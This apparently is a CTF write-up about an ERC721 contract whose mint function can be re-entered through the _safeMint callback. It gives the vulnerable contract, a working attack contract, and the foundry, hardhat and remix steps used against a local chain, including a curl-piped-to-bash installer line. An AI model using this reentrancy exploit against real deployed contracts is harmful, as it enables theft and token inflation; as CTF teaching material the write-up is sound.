<-->

 

Finally! a blockchain challenge was presented after Codegate at the domestic CTF.

 

Blockchain

pragma solidity ^0.8.13;
import "./token/ERC721.sol";

contract MintChocolate is ERC721 {
    bool public minted;
    uint256 public counter;

    constructor() ERC721("MintChocolate", "MC") {}
    function mint(uint256 amount) external {
        require(!minted, "No more mint");
        require(amount <= 10, "mint cap reached");

        for(uint256 i = 0; i < amount;) {
            _safeMint(msg.sender, counter++); // vulnerable
            
            unchecked {
                ++i;
            }
        }
        minted = true; // vulnerable
    }

    function goldenTicket() view external returns(bool) {
        return totalSupply() >= 100 ? true : false;
    }
}

 

Root cause

https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a

 

It is recommended to use check-effects-interaction to prevent re-entrancy attack because using safemint would make a callback. 

Since this code does not have any mitigations, an attacker could use re-entrancy attack to mint infinitely.

 

https://gss1.tistory.com/entry/HackTM-CTF-Quals-2023-smart-contractDragon-Slayer-Diamond-Heist

is the same root cause.

 

Solve

pragma solidity ^0.8.13;

import "./MintChocolate.sol";

contract Attack {

    MintChocolate public cho;
    bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;

    uint public amt = 1;

    constructor (address _addr) {
        cho = MintChocolate(_addr);
    }

    function attack() public {
        cho.mint(10);
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) public returns (bytes4) {
        amt = amt + 1;
        if(amt > 10) return _ERC721_RECEIVED;
        else {
            cho.mint(10);
            return _ERC721_RECEIVED;
        }
    }
}

 

I'm a Python lover, so I always made and sent transactions by Web3py.

I learned various methods through this opportunity.

 


foundry

 

First, install foundry pacakge.

curl -L https://foundry.paradigm.xyz | bash

 

create new forge project 

forge init ctf

 

Add contract codes to /src folder and commit them.

git commit -am " "

 

Deploy the attack contracts by create command

forge create [contract name] --rpc-url [rpc url] --private-key [private key]

e.g.

forge create MintChocolate --rpc-url http://127.0.0.1:8545 --private-key 0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1

 

 

If you put your attack code in the constructor, it can end there. 

But if you need to send transaction and call..

cast send --private-key [private-key] [contract address] --rpc-url [rpc-url] [function signature]

e.g.

cast send --private-key 0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1 0x9c544AA42C097868210689929E0bc1B402a77C98 --rpc-url http://127.0.0.1:8545 "attack()"

 

cast call [contract address] --rpc-url [rpc-url] [function signature]

e.g.

cast call 0x59583FEE674F073A36681a127cFa2250AedE73Cd --rpc-url http://127.0.0.1:8545 "goldenTicket()"

hardhat

Install hardhat.

npm install hardhat

 

Create hardhat project.

npx hardhat

 

Add contracts codes to /contracts folder and change /scripts/deploy.js.

const hre = require("hardhat");

async function main() {
  // const mintChoco = await hre.ethers.deployContract("MintChocolate");
  const mintChoco = await hre.ethers.getContractAt("MintChocolate", "0x3cd6169a6Eac4d2045E67D113D537C1d70b59ADc");
  // await mintChoco.waitForDeployment();

  const mintChocoAddress = await mintChoco.getAddress();
  console.log(mintChocoAddress);

  const attack = await hre.ethers.deployContract("Attack", [mintChocoAddress]);
  await mintChoco.waitForDeployment();
  await attack.attack();

  console.log(await mintChoco.goldenTicket())
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

 

Change hardhat.config.js for CTF setting.

require("@nomicfoundation/hardhat-toolbox");

/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
  solidity: "0.8.13",
  networks: {
    ctf: {
      url: "http://127.0.0.1:8545",
      accounts: ["0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1",]
    }
  },
};

 

And execute!

npx hardhat --network ctf run deploy.js

remix + metamask

only possile if chainId is not 1.

 

Add a network to the metamask.

 

 

Add a private key provided by CTF to the metamask.

 

 

Change Remix VM to Injected Provider

 

 

If you can't see a new account in your account list, refresh and reconnect the Metamask

 

 

+ Recent posts